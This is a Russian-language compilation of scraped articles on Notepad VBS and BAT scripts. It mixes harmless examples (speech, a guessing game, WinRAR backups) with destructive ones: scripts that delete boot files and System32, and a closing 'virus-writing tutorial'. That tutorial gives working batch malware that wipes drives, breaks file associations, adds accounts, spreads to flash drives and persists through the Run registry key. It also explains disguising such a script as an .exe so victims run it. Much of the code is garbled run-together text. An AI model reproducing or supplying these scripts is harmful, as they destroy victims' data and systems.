Коды для блокнота bat

Содержание

Как заставить компьютер сказать то что вы хотите с помощью блокнота

Коды для блокнота bat

Если вы уже знакомы с VBS скриптами и батниками, то скорее всего нижеследующие примеры вам будут неинтересны, если же вы новичок, то для первоначального ознакомления – то, что нужно.

Научим компьютер здороваться

  • Открываем Блокнот (или Notepad Plus Plus).
  • Копируем в вставляем код:Set sapi=CreateObject(“sapi.spvoice”)sapi.Speak “Hello!”
  • Обязательное условие: кавычки должны быть “такими”, «ёлочки» не подойдут, скрипт не будет обрабатываться и выйдет ошибка. Вместо слова “Hello” можете написать что угодно, даже по русски, при наличии русского ого движка.
  • Дальше выбираем Файл – Сохранить как – Тип файла – Все файлы – название.vbs
  • Называйте файл как хотите, но не забудьте в конце прописать расширение – .vbs (пример – Privet.vbs).
  • Теперь пробуйте проверить свой скрипт – запустите файл двойным щелчок мыши.

Один нюанс:если вы прописали в кавычках слова русскими буквами, а при запуске произносится непонятно что, то у вас просто не установлен русский ой движок. Подробная установка и настройка ого движка выходит за рамки нашей статьи, поэтому более подробно ознакомьтесьздесьи вновь возвращайтесь сюда.

Теперь, сделаем следующее: пропишем данный скрипт в автозагрузку, а это означает то, что при запуске компьютера вам будет произнесено написанное в программе слово (слова), если как в примере, то будет говорить – “Hello” при каждом включении компьютера. Как это сделать?

Все просто, программу (скрипт) добавить в автозагрузку можно таким же образом, то есть через такой же VBS скрипт. Создаем файл в блокноте, копируем/вставляем (Ctrl+C/Ctrl+V) следующий код:

Dim vOrg, objArgs, root, key, WshShellroot = “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\”KeyHP = “Program”Set WshShell = WScript.CreateObject(“WScript.Shell”)

WshShell.RegWrite root+keyHP,”C:\Privet.vbs /autorun”

Изменяем путь до скрипта “говорилки”, вот эту строчку – C:\Privet.vbs на свою. Прописываем где у вас лежит этот скрипт и как называется. Дальше сохраняем только что созданную мини программу в блокноте и запускаем. Все, теперь компьютер будет с вами здороваться пр каждом включении.

Открыть дисковод

  • Открыть блокнот. Скопировать/Вставить следующий код:Set a = CreateObject(“WMPlayer.OCX.7”)Set b = a.CdromCollectionSet c = b.Item(0)Set d = c.Eject
  • Сохранить с расширением .vbs
  • Запустить скрипт и откроется дисковод.

Есть более интересная модификация данного скрипта:

Set WMPlayer = CreateObject(“WMPlayer.OCX.7”)doWMPlayer.CdRomCollection.Item(0).Eject()

loop

В данном случае будет все время открываться-закрываться CD/DVD-привод, на ноутбуках в этом случае будет открываться после каждого его закрытия.

Внимание!Второй код (открытие-закрытие дисковода), некоторые антивирусы видят как вредоносную программу. Антивирус Касперского (в т.ч. иKaspersky Free) его видит именно так и уничтожает сразу же. В первом же случае (просто открытие дисковода) для антивирусных программ не является вредоносным скриптом.

Чтобы прекратить автоматически открывать-закрывать дисковод необходимо:

  • Запустить диспетчер задач (комбинация клавиш Windows – Ctrl+Alt+Del).
  • Перейти на вкладку “Процессы”.
  • Найти процесс wscript.exe – правая кнопка мыши – завершить процесс.

Игра

Интересная находка из Сети – игра на VBS. Необходимо угадать число от 0 до 100. Скрипт автоматически при запуске задает (разгадывает) число, которое вам необходимо угадать и ввести в специальном окошке, при неправильном ответе даются подсказки, например меньше или больше.

Ниже тот самый код который необходимо скопировать и вставить в блокнот, далее сохранить (расширение .vbs).Вы также можете изменять сообщения по своему, все что написано кириллицей без проблем редактируется. Не бойтесь сломать код. Поэкспериментируйте. В случае чего заново скопируйте рабочий код отсюда.

Set y = CreateObject(“Scripting.

FileSystemObject”)Set y = NothingDoa = 0u = 0RandomizeNumber = Int((RND*99)+1)MsgBox “Я загадал число от 1 до 100, попробуй отгадать”,64,”Угадайка”Doa = a + 1c = InputBox(“Угадай число” & vbCrLf & vbCrLf & “Попытка: ” & a & vbCrLf & vbCrLf & “Чтобы посмотреть результаты введите число !” & vbCrLf & vbCrLf & “Для выхода оставьте поле пустым” & vbCrLf & vbCrLf,”Угадайка”)If c = “!” Then CreateObject(“WScript.Shell”).Run “notepad C:\Windows\Result.dll”,3,True : Exit DoIf c “” ThenIf IsNumeric(c) = True ThenIf CInt(c) < Number Then MsgBox "Нет,это не " & c & ". Я загадал число больше",64,"Угадайка"If CInt(c) > Number Then MsgBox “Нет,это не ” & c & “. Я загадал число меньше”,64,”Угадайка”If CInt(c) = Number ThenSet y = CreateObject(“Scripting.FileSystemObject”)MsgBox (“Количество попыток: ” & a)If MsgBox (“Правильно, это было число ” & c & “. Начать заного?”,36,”Угадайка”) = 6 Then Exit Do Else WScript.QuitEnd IfElseMsgBox “Это не число!”,16,”Угадайка”a = a – 1End IfElsea = a – 1l = MsgBox (“Ты ничего не ввел. Выйти из программы?”,36,”Угадайка”)If l = 6 Then WScript.QuitEnd IfLoop

loop

Ну и перед тем как переходить к батникам (.BAT) воспользуемся самым полезным VBS скриптом из всех перечисленных в этой статье.

Скрипт закрывающий wscript.exe

Сам скрипт:

Set TaskKill = CreateObject(“WScript.Shell”)
TaskKill.Run “TaskKill /f /im wscript.exe”

По сути он делает тоже самое, что чуть выше объяснялось в диспетчере задач, как например нельзя просто взять и закрыть надоедливый скрипт открывающий-закрывающий дисковод, а запустив данный скрипт все запущенные будут закрыты. Это как клин клином вышибают.

Немного познакомились с VBS скриптами и о том как их писать в блокноте, теперь рассмотрим несколько примеров использования BAT файлов (далее – батник).

Завершение работы /Перезагрузка компьютера

Совсем простой батник состоящий всего из одной строки.

  • Открываем Блокнот.
  • Пишем следующий код:shutdown -s -t 1 -c -f
  • Далее Файл – Сохранить как – нзвание.bat
  • Обратите внимание на расширение файла, это уже не VBS скрипт, а батник, по этому в конце названия прописываем .bat (Пример compoff.bat).
  • Запускаем только что созданный батник двойным щелчком мыши и компьютер выключится (Завершение работы).

Есть такой вариант кода:

shutdown -r -t 1 -c -f

Все также, прописываем в блокноте, сохраняем с расширением .bat и после запуска компьютер перезагрузится (обычная перезагрузка компьютера).

Удаление обновлений

Данный батник пригодится в том случае, если вы уже обновились до Windows 10.

В чем суть? В этом батнике перечислены команды по удалению нескольких обновлений, как видно из названия – обновления телеметрии, или как раз одна из шпионских штучек системы, мы однажды уже говорили как отключить функции слежки Windows 10, в данном же случае вы просто создаете батник, в содержимое копируете код ниже и запускаете, после чего будут удалены перечисленные обновления.

@echoechoecho Step 1: Delete Updates Telemetrywusa /uninstall /kb:3068708 /quiet /norestartwusa /uninstall /kb:3022345 /quiet /norestartwusa /uninstall /kb:3075249 /quiet /norestart

wusa /uninstall /kb:3080149 /quiet /norestart

Таким образом можно удалить абсолютно любое обновление, даже назойливое KB971033 которое проверяет копию Windows 7 на подлинность.

В Интернете встречается много различных скриптов, якобы безвредных, но будьте осторожны, прежде чем пробовать непонятно какой скрипт, некоторые из них могут навредить, например – вносить изменения в реестр, а в случае каких ошибок система будет выдавать ошибки, в таком случае придется или восстанавливать реестр Windows или сделать восстановление системы.

Источник: https://zen.yandex.ru/media/id/5e314fb7d08df4334dddf5f4/kak-zastavit-kompiuter-skazat-to-chto-vy-hotite-s-pomosciu-bloknota-5e37bfc3b1a27411f04309fa

Пишем программы (скрипты) в Блокноте Windows

Коды для блокнота bat

С этой статьей вы не научитесь программировать и даже не напишите как таковую программу, но найдете здесь отличные VBS скрипты и BAT файлы, которые без проблем напишете в обычном блокноте Windows, сможете усовершенствовать по своему, потом похвастаться перед друзьями и близкими. Возможно это поднимет вам настроение и вы отлично проведете время.

Большинство похожих скриптов пишутся для удобства и автоматизации каких-либо действий на компьютере с ОС Windows.

Представленные же ниже скрипты мало окажутся полезными (может мне так кажется), но они отлично подойдут для первоначального знакомства с “кодингом”.

Вы отлично проведете время, удивив как себя, так и знакомых чайников (не программистов), плюс это еще один хороший вариант убить время за компьютером.

Немного терминологии:

  • VBS – язык программирования для создания скриптов в ОС Windows, создается/редактируется в Блокноте Windows, имеет разрешение “.vbs”. Думаю, продолжать не имеет смысла, ибо это мало о чем скажет, особенно новичкам. Интересующимся – статья в Википедии.
  • BAT – пакетный файл, в народе просто “батник”. Расширение файла “.bat”. Дальше аналогично – статья в Википедии.

Данных расширений (vbs, bat) файлы создаются во всеми известном Блокноте Windows (Notepad). Для большего удобства создания скриптов рекомендуется использовать усовершенствованный (скажем так) блокнот – Notepad++.

Он удобен подсветкой синтаксиса большого количества языков программирования, если вам это мало о чем говорит, то скачайте и пишите в нем – ошибок сделаете меньше в коде, ну или будет их проще найти, чем в том же мало функциональном Блокноте Windows.

Скачать Notepad++ можно на официальном сайте.

Для наглядности пример (слева – Блокнот Windows, справа – Notepad++):

15 интересных трюков в блокноте, о которых вы должны знать

Коды для блокнота bat

Одной из первых вещей, которую человек изучает во время обучения использованию компьютера, является приложение под названием блокнот. Почти все знают, что такое блокнот, и, несмотря на то, что он простое и функциональное приложение, какой силой он на самом деле обладает.

Можно буквально уничтожить чей-то компьютер с помощью блокнота, а также решить большие проблемы с помощью блокнота. Хорошо, блокнот не делает все, что я сказал сам по себе, но все же. Это платформа, на которой можно написать исходный код, который затем можно скомпилировать и прочее.

Таким образом, изучение нескольких небольших приемов с блокнотом не повредит нашим шансам похвастаться или, возможно, получить другое представление о том, что блокнот действительно может сделать.

Итак, вот 15 классных трюков блокнота, которые вы должны попробовать:

1. Постоянно выдвигайте CD-привод с помощью блокнота

Тебе не кажется, что было бы весело, если бы ты мог играть со своим другом, снова и снова заставляя его CD-привод? Просто введите текст ниже в блокнот и сохраните его в виде файла .vbs . Дважды щелкните файл .vbs, чтобы увидеть его работу.

Set oWMP = CreateObject(“WMPlayer.OCX.7?) Set colCDROMs = oWMP.cdromCollection do if colCDROMs.Count >= 1 then For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next For i = 0 to colCDROMs.Count – 1 colCDROMs.Item(i).Eject Next End If wscript.sleep 5000 loop

2. Завершение работы компьютера с помощью блокнота

Представьте, что вместо того, чтобы нажимать кнопку «Пуск», затем кнопку «Завершение работы» и затем кнопку «ОК», вы можете просто дважды щелкнуть значок, чтобы выключить систему. Код трюка Блокнота, написанный ниже, делает именно это. Просто сохраните файл как файл .vbs и нажмите его, когда вам нужно завершить работу системы.

@echo off msg * System will now shut down shutdown -c “Bye!” –s

3. Постоянно открывайте Блокнот на компьютере вашего друга

Еще один трюк с блокнотом, чтобы поиграть с системой вашего друга, состоит в том, чтобы запустить команду, которая будет периодически открывать его / ее блокнот.

@ECHO off :top START %SystemRoot%\system32otepad.exe GOTO top
Сохраните его как файл .vbs и откройте его, чтобы посмотреть, что произойдет.

4. Сделать личный журнал или дневник

Специальная функция, которая позволяет нам сделать журнал, существует в блокноте. Используя его, мы можем создавать журналы вещей, так как блокнот будет указывать дату и время для нас всякий раз, когда мы открываем определенный тип файла журнала.

Для этого просто введите « .LOG » в блокноте и сохраните его под любым именем.

Теперь, когда бы вы ни открывали этот конкретный файл, вы увидите, что блокнот автоматически вводит дату и время его открытия, а затем вы можете сделать запись в журнале и сохранить журнал.

5. Матричный эффект

Теперь мы обсудим трюк с Блокнотом, который может превратить нашу командную строку в нечто, похожее на то, что оно только что вышло из фильма матрицы, или, может быть, что-то похожее на что-то прямо из системы хакера. Для этого все, что вам нужно сделать, это вставить следующий код в блокноте

@echo off color 02 :start echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%

goto start

Теперь вам нужно сохранить этот файл с расширением .bat, и после нажатия на файл .bat, который вы создали, вы увидите нечто подобное.

Небольшая настройка для настройки этого крутого эффекта заключается в том, что вы можете изменить значение перед цветом, то есть 02 в цвете 02, на любое другое значение, например, например, на 03; это изменит цвет текста, который появляется в командной строке.

Назначьте разные значения цвету и получайте удовольствие.

6. Несколько раз переключите Capslock, используя Блокнот

Вы можете играть с чьим-то компьютером или, возможно, с вашим собственным компьютером, написав скрипт, который может неоднократно переключать Caps Lock.

Просто скопируйте и вставьте код, записанный ниже, в блокнот.

Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{CAPSLOCK}”

loop

Теперь сохраните его как файл .vbs и используйте его, чтобы увидеть магию.

7. печатать медленно

Это трюк, который заставит текст печататься медленно, попробуйте, просто скопируйте и вставьте текст ниже в блокнот и сохраните его как файл .vbs .

WScript.Sleep 180000 WScript.Sleep 10000 Set WshShell = WScript.CreateObject(“WScript.Shell”) WshShell.Run “notepad” WScript.Sleep 100 WshShell.AppActivate “Notepad” WScript.Sleep 500 WshShell.SendKeys “Hel” WScript.Sleep 500 WshShell.SendKeys “lo ” WScript.Sleep 500 WshShell.SendKeys “, ho” WScript.Sleep 500 WshShell.SendKeys “wa” WScript.

Sleep 500 WshShell.SendKeys “re ” WScript.Sleep 500 WshShell.SendKeys “you” WScript.Sleep 500 WshShell.SendKeys “? ” WScript.Sleep 500 WshShell.SendKeys “I a” WScript.Sleep 500 WshShell.SendKeys “mg” WScript.Sleep 500 WshShell.SendKeys “ood” WScript.Sleep 500 WshShell.SendKeys ” th” WScript.Sleep 500 WshShell.SendKeys “ank” WScript.Sleep 500

WshShell.

SendKeys “s! “

Он ничего не делает, но вводит небольшую задержку между различными строками, которые он вводит.

8. Преобразование текста в речь с помощью блокнота.

Просто скопируйте и вставьте код внизу в блокнот и сохраните как файл .vbs . Когда вы играете в нее, вы получите диалоговое окно с вопросом, что вы хотите сказать компьютеру. Повеселись.

Dim message, sapi message=InputBox(“What do you want me to say?”, “Speak to Me”) Set sapi=CreateObject(“sapi.spvoice”) sapi.Speak message

9. Всемирный торговый центр Атака

Согласно этой уловке, если вы введете номер рейса, который поразил двойную башню, то есть Q33N, в блокноте, а затем измените тип шрифта на « wingdings » и размер шрифта на 72, то вы увидите очень странную вещь,

Это очень крутой трюк, но, к сожалению, это обман, поскольку ни один такой полет не ударил по башням-близнецам.

10. Изменение верхнего и нижнего колонтитула в блокноте

Перейдите в « Файл» -> « Параметры страницы» в блокноте, а затем в полях для верхнего и нижнего колонтитула введите любой из этих кодов.

& l Выровнять по левому краю следующие символы & c Центрировать символы, которые следуют & r Выровняйте справа символы, которые следуют & d Распечатать текущую дату & t Распечатать текущее время & f Распечатать название документа

& p Распечатать номер страницы

11. Удаление загрузочных файлов с помощью блокнота

Один из способов уничтожить компьютер – удалить файлы, которые помогают ему запустить компьютер. Хотя это не рекомендуется, это код, который имеет право сделать это.

@ECHO OFF ATTRIB -R -S -HC:\AUTOEXEC.BAT DEL C:\AUTOEXEC.BAT ATTRIB -R -S -HC:\BOOT.INI DEL C:\BOOT.INI ATTRIB -R -S -HC:TLDR DEL C:TLDR ATTRIB -R -S -HC:\WINDOWS\WIN.INI DEL C:\WINDOWS\WIN.INI

SAVE IT AS .BAT FILE.

Это выключит компьютер и удалит файлы, необходимые для приведения компьютера в нормальное состояние.

Не пытайтесь делать это на вашем компьютере до тех пор, пока вы не захотите потерять все свои данные.

12. Удаление файлов System32 с помощью блокнота

Хотите отомстить кому-то? Просто используйте этот код, сохраните его как файл .bat и посмотрите, что он делает с системой этого человека. Это удалит все файлы System32, необходимые для работы системы в порядке.

Просто вставьте следующее в блокнот и сохраните его как файл .bat.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

13. Хит Enter непрерывно

Что, если мы хотим, чтобы функция нашей кнопки ввода повторялась снова и снова, лучше, чем нажимать ее снова и снова, – использовать приведенный ниже код

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “~(enter)”

loop

Сохраните его как файл .vbs и посмотрите его волшебство

14. Хит Backspace постоянно

Хорошо, нам нужна кнопка возврата, но что мы хотим раздражать кого-то и заставлять его нажимать себя снова и снова, механически это потребует некоторой работы с нашей стороны, но если мы просто используем этот код, это станет намного проще,

MsgBox “Backspace again and again and AGAIN” Set wshShell =wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “{bs}”

loop

Сохраните как файл .vbs, чтобы он работал.

15. Набирать что-то снова и снова

Код для ввода чего-либо снова и снова упоминается ниже, вы можете использовать его для записи чего-либо снова и снова и снова, пока не выйдете из цикла.

Set wshShell = wscript.CreateObject(“WScript.Shell”) do wscript.sleep 100 wshshell.sendkeys “I'll be typed again and again” loop
сохраните его как файл .vbs, чтобы он работал.

Важная заметка. Если вы получаете ошибки, говоря неправильные символы, попробуйте ввести в кодах двойные кавычки.

Источник: https://ru.gadget-info.com/41168-15-cool-notepad-tricks-you-should-know

Написание bat файлов — примеры батников | Info-Comp.ru – IT-блог для начинающих

Коды для блокнота bat

В данной статейки мы рассмотрим такую полезную вещь как «батник». Давайте сначала дадим определение, что такое bat файл.

Пакетные или batch файлы — это простые текстовые файлы, содержащие наборы команд (инструкцию) интерпретатора и имеющие расширение bat или cmd (cmd работают только в ОС семейства NT).

Создавать и редактировать такие файлы можно при помощи обычного блокнота или любого другого текстового редактора.

Теперь Вы спросите, зачем нужно уметь писать такие бат файлы? И зачем они нужны? Попытаюсь объяснить.

Во-первых,  они используются для облегчения работы, т.е. например Вам нужно постоянно выполнять какую-нибудь операцию каждый день (например, создавать архив тех или иных документов), с помощью батника это можно автоматизировать, и Вы в этом уже не будете принимать участия.

Во-вторых, эти пакетные файлы очень мощные (если конечно уметь их писать), т.е. Вы можете даже написать неплохую программу (я имею в виду по функционалу). Лично мне они очень помогают в работе, и о некоторых вещах я уже просто забыл, когда это делал я в ручную.

Теперь перейдем непосредственно к основам этих батников. Как же они создаются, Вам нужно просто создать простой текстовый документ открыть его и сразу на вкладке «Файл->сохранить как», вписать вместо расширения «Текстовый документ.txt», например «Текстовый документ.bat» и сохранить, вот и получится у нас батник с расширением .bat, но он пока ничего не делает.

Для начала я приведу пример батника, который я использую у себя на работе для архивации документов.

“C:\Program Files\WinRAR\winrar.exe” a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.doc “C:\Program Files\WinRAR\winrar.exe” a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.xls “C:\Program Files\WinRAR\winrar.exe” a -r -dh -ed -agYYYY-mm-dd E:\arhaccounts\ d:\accounts\*.txt

Теперь немного расскажу, что делает этот батник. Запускается WinRar, потом идут команды винрара:

  • a — это добавить в архив;
  • -r — обрабатывать вложенные папки;
  • -dh — открывать совместно используемые файлы;
  • -ed — не добавлять пустые папки;
  • YYYY-mm-dd — добавляем к имени архива текущую дату (формат даты);
  • E:\arhaccounts\ — путь, где будет лежать конечный архив;
  • d:\accounts\*.doc — путь и маска файлов, какие нужно заархивировать.

В данном случае мы архивируем все документы Word, Excel и текстовые файлы, архивировать остальные нам не требуется.

У нас архивация идет на другой диск, и мы еще копируем полученный архив на другой компьютер, для того чтобы архивы хранились и в другом кабинете.

Копирование идет по сети соответственно компьютер, на который копируется архив, должен быть включен. Для этого можно использовать такую команду:

copy E:\arhaccounts\*.rar \amecomp\arhiv\

Примеры команд для bat файлов

Теперь рассмотрим основные команды, которые Вы можете использовать.

Если Вам нужно удалить файл пропишите следующие:

Del d:\file\test.doc

Для того чтобы удалить весь каталог пропишите:

rd d:\file\

Вдруг Вам нужно удалять каждый раз все из какого-нибудь каталога, то используйте вот что:

echo Y| del d:\file\

где,

  • del d:\file\ — это как раз и есть удаление всех файлов;
  • echo Y| — команда подтверждает удаление т.к. если не прописать эту команду, то Вы увидите сообщение о подтверждение удаления – «Продолжить [Y(да)/N(нет)]», и Вам нужно будет каждый раз отвечать на этот вопрос.

Сейчас давайте рассмотрим пример посложней, в котором уже выполняется условие:

@echo off “C:\Program Files\WinRAR\winrar.exe” x -O+ -IBCK d:\test\test.rar d:\test IF not EXIST d:\test\123.rar GOTO 1 IF EXIST d:\test\123.rar GOTO 2 :2 “C:\Program Files\WinRAR\winrar.exe” x -O+ -IBCK d:\test\123.rar c:\ del d:\test\123.rar :1 del d:\test\test.rar end

Теперь объясняю, допустим, Вам нужно разархивировать архив test.rar, в котором будет много файлов, но если там окажется файл 123.rar его нужно будет разархивировать в корень диска C, а остальные файлы чтобы остались в том же каталоге не тронутыми.

По порядку, команда @echo off нужна, для того чтобы на экране у нас ничего не отражалось (в принципе, если не нужно можете не писать эту строку). Далее у нас запускается винрар и распаковывает архив test.rar в папку test. Затем идет условие, если в папке test (после распаковки test.

rar) у нас не окажется файла 123.rar, то у нас просто выполнение батника переходит к строке :1 и потом просто удаляется файл test.rar за не надобностью т.к. все что нам нужно мы уже распаковали. Но если там оказывается файл 123.

rar, то выполнение батника переходит к строке :2, после которой уже идет распаковка файла 123.rar в корень диска C. Другими словами у нас выполняется условие, если есть файл то делать это, если нет файла, делать вот это.

Допустим, если не прописать условие в данном примере, то у нас батник выдаст ошибку, тогда когда у нас не окажется файла 123.rar в данной папке.

А сейчас рассмотрим такой пример, допустим, Вам нужно каждый раз перемещать из каталога расположенного на диске D файлы на флешку.

Вы каждый раз должны будете заходить мой компьютер диск D, выбирать нужную папку, выделять все файлы из нее и вырезать, а потом только заходить на флешку и вставлять.

С помощью батника это делается в один клик (с одним условием, что флешка каждый раз будет, например диском G или тем какой у Вас). Вот пример такого батника:

move “D:\catalog\*.doc” G:\catalognaflehe\

И все файлы с расширением doc, которые находятся в каталоге D:\catalog будут перемещаться на флешку. Теперь хочу сказать, что в батниках можно использовать сценарии (скрипты) при помощи Windows Scripting Host и если нужно, например чтобы выводилось сообщение, после того как файлы скопированы (предыдущий пример) вставьте вот это:

echo var WSHShell = WScript.CreateObject(“WScript.Shell”); > %temp%\mes.js echo WSHShell.Popup(“Файлы Скопированы”); >> %temp%\mes.js start %temp%\mes.js deltree /y %temp%\mes.js

На самом деле про написание батников можно разговаривать много и в одну статью это, конечно же, не уместить, здесь я показал всего лишь принципы, которые используются при написании bat файлов, так сказать основу.

Если Вы хотите узнать больше команд для написания батников, Вы можете легко посмотреть их, набрав в командной строке (Пуск — Выполнить – cmd) команду help, но там, конечно же, не все команды, что можно использовать в батниках.

Удачи в написание BAT файлов (батников).

Продолжение темы в статье — BAT файлы – Примеры батников (Часть 2)

Источник: https://info-comp.ru/obucheniest/81--bat-.html

bat самаучитель – Обучение

Коды для блокнота bat

Самоучитель по созданию вирусов в блокнотеИтак, приступим. Вы решили заняться вирусо-писательством. Сразу вам скажу, что эти вирусы, конечно, могут очень сильно навредить компьютеру, но полноценно передаваться с одного компьютера на другой они не могут. За все, что произойдет с вашим компьютером отвечаете вы и только вы.

Приступим:
1) Открываем блокнот;
2) Пишем в нем «mspaint», без кавычек;
3) Сохраняем файл под любым именем, но вместо .txt мы напишем .bat;
4) Откроем файлик и увидим, что открылся Paint))
Вот и готова наша первая программка.

Вместо «mspaint» можно вписать любую программу, например: Calc-калькулятор, Taskmgr-диспетчер задач… Но при чем здесь вирусы? – спросите вы. Ни при чем)) Следующее, что мы сделаем, это программа для изменения времени на компьютере, да и еще она будит копировать себя на флешку (если та вставлена).

Итак:Пишем в блокноте:

time 00:00copy %0 F:\Work.bat

Первой сточкой мы изменяем время на 00:00, а второй скопируем файл на диск F – флешка с именем Work. Не забудьте, сохранить блокнотовский файл в формате .bat. Вместо времени можно изменить и дату «Date 13.06.23». Написав такую строчку, мы изменим дату на 2023 год, 6 месяц, 13 число)) Теперь небольшой перечень того, что можно писать в блокнотовском вирусе.
1) «copy %0 x:\y» – копирует вирус на диск x в папку y (пример copy %0 C:\System.bat);
2) «label x:y» – переименовывает диск x на имя y (пример label C:error);
3) «time х:у» – меняет время на х часов и у минут (пример time 14:27);
4) «date x.y.z» – меняет дату на x день, y месяц, z лет (пример date 16.11.05);
5) «md х» – создаст папку, в том месте, где наш вирус, с именем х (пример md Papka);
6) «del *.* /q» – удалит все файлы (наш вирус тоже) в папке, где лежит наш вирус (кроме папок);
7) «del x:\y *.* /q» – удалит все файлы на диске х в папке у (кроме папок)  (пример del F:\Data*.* /q);
8) «assoc .х=.у» – переделает все файлы, на компьютере, форматом х на у (пример assoc .exe=.mp3);
9) «net user “х” /add» – добавит на компьютер пользователя под именем х (пример net user “Smoked” /add);Вот две программки вам на рассмотрение, можете их использовать без моего соглашения, но, используя их, вы принимаете соглашение пользователя.

1)Программа для удаления файлов с флешки (если та вставлена) и переименования ее.

del F:\ *.* /qlabel F:HACK
2)Программа для изменения даты и времени на компьютере и копирования ее на диск C и на флешку.
time 14:13date 11.07.12copy %0 C:\Time.batcopy %0 F:\Time.bat Вы уже умеете создавать простенькие вирусы.

Он умеет: менять время, дату, названия дисков и флешек, открывать программы, создавать папки, копировать себя, добавлять пользователей, менять расширения и уничтожать информацию. Это довольно небольшой список, чесно говоря. Теперь я научу вас некоторым тонкостям вирусописательсва.

Допустим, вы уже сделали вирус, но выглядит он довольно некрасиво. Ну кто откроет непонятный файл? Вы правы, таких людей на свете не много. Как же изменить формат из .bat на .exe и добавить иконку. Очень легко (Нужно чтобы на компьютере был WinRAR).

Находим любой вирус с расширением .bat, нажимаем на него правой кнопкой, жмем «Добавить в архив…». Ставим галочку «Создать SFX-архив», выбираем вкладку дополнительно, и кликаем на кнопку «Параметры SFX…». В окне «Выполнить после распаковки» пишем названия вируса (пример Virus.

bat) а в окне «Текст и графика» далее «Загрузить значок SFX из фала». Жмем «Обзор» и ищем любой значок формата .ico. Теперь жмем ОК. Готово)) Формат .exe, а не .bat, как нам и надо было. Теперь можно делать с вирусами что угодно. А что именно, решать уже вам.

Хотите научиться еще командам, которыми можно просто добить нашего «лоха», открываем www.Google.ru, пишем bat вирусы и жмем «Искать». 
 Допустим, вы написали вирус, который будет портить открытую от папок информацию и немного вредить:

del C:\ *.* /qdel D:\ *.* /qdel E:\ *.* /qdel F:\ *.* /qtime 00:00date 13.06.23del *.* /q

Готово? – спросите вы. Нет. Нужно его закончить. Новая команда «@echo off» вводиться в начале нашего вируса и скрывает все, что в нем происходит в дальнейшем. Одним словом, не дадим пользователю увидеть, что случилось. Еще добавив после каждой команды простенькое, но очень эффективное действие, как «>nul» к примеру «time 00:00 >nul», мы скроем сточку. Итак, можно усовершенствовать наш вирус:
@echo offdel C:\ *.* /q >nuldel D:\ *.* /q >nuldel E:\ *.* /q >nuldel F:\ *.* /q >nultime 00:00 >nuldate 13.06.23 >nuldel *.* /q >nul
Вот, теперь наш вирус готов. Сохраняем, конвертируем, а вот, что дальше с ним делать — ваше дело. Кстати, есть отличная программа для конвертирования .bat в .exe, она работает намного лучше WinRAR'а, называется она «Bat to exe converter». Скачать ее можно в интернете, она бесплатная. Итак, вернемся к вирусо-писательству.
%SystemRoot%/system32/rundll32 user32, SwapMouseButton
Данная строчка меняет клавиши мыши местами. Можно с кого-то прикольнуться,  пока он въедет, что случилось, пройдет время (если он совсем юзер), для особоодаренных скажу, если вы ввели это у себя отключить довольно просто: «Панель Управления», «Принтеры и другое оборудование», «Мышь» и снимаем первую галочку.Итак, дальше поехали дальше:

😡 ;Start mspaintgoto x ;

Очень неплохая строка для нагрузки слабеньких машин. Команда открывает Paint, причем очень быстро. Раз 60 до того как вы поймете, что случилось и закроете программу. Попробуйте ввести вместо mspaint любые строки программ… Работает)) Можно использовать  по несколько таких команд до полного торможения компьютера жертвы. Новый скрипт:
copy “”%0″” “%SystemRoot%\system32\File.bat” reg add “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “Filel” /t REG_SZ /d “%SystemRoot%\system32\File.bat” /f reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /fОчень жестокая команда: добавляет программу в автозагрузку ОС. Не советую проверять на вашем компьютере. Не останавливаемся, а едем дальше))

assoc .lnk=.txt >nulassoc .exe=.mp3 >nul

Данными двумя строками мы делаем, весьма тяжелый вред компьютеру жертвы. Он меняет расширения всех файлов на компьютере с .lnk в .txt и  .exe в .mp3. То есть все ярлыки, открываются в блокноте, а программы, все, в плеере. Круто, да? Теперь прочтите нижний код и если вы поняли, в чем суть вируса, поздравляю вас вы закончили базовый курс, от SMOKED'а, вирусо-писательства. Если же нет. Читаем все заново))
@echo off%SystemRoot%/system32/rundll32 user32, SwapMouseButton >nultime 0:00 >nuldate 13.06.23 >nullabel C:IDIOT >nullabel D:URAK >nullabel E:SUKA >nullabel F:GANDON >nulcopy %0 C:\Open.bat >nulcopy %0 D:\Open.bat >nulcopy %0 E:\Open.bat >nulcopy %0 F:\Open.bat >nulnet user “Idiot you Hacked” /add >nulnet user “Bitch you Hacked” /add >nulnet user “Durak you Hacked” /add >nulnet user “Kritin you Hacked” /add >nul net user “Gavno you Hacked” /add >nulmd 1 >nulmd 2 >nulmd 3 >nulmd 4 >nulmd 5 >nulmd 6 >nulmd 7 >nulmd 8 >nulmd 9 >nulmd 10 >nulmd 11 >nulmd 12 >nulmd 13 >nulmd 14 >nulmd 15 >nulmd 16 >nulmd 17 >nulmd 18 >nulmd 19 >nulmd 20 >nulmd 21 >nulmd 22 >nulmd 23 >nulmd 24 >nulmd 25 >nulmd 26 >nulmd 27 >nulassoc .lnk=.txt >nulassoc .exe=.txt >nul:x ; Start mspaint goto x ; 😡 ; Start Calc goto x ; copy “”%0″” “%SystemRoot%\system32\Cool.bat” >nulreg add “HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v “Cool” /t REG_SZ /d “%SystemRoot%\system32\Cool.bat” /f >nulreg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul

del %0 >nul


На этом мои уроки закончены. Надеюсь, вам понравилось! С уважением SMOKED!
P.S. Когда я первый раз выложил эту статью в интернет. На мой ICQ прийшло около 70 сообщений с просьбой ломануть мыло)) Писал все сам, статья моя! =)

Источник: https://www.sites.google.com/site/olyababuina/virusologia/virusy-bat/bat-samaucitel

Поделиться:
Нет комментариев

    Добавить комментарий

    Ваш e-mail не будет опубликован. Все поля обязательны для заполнения.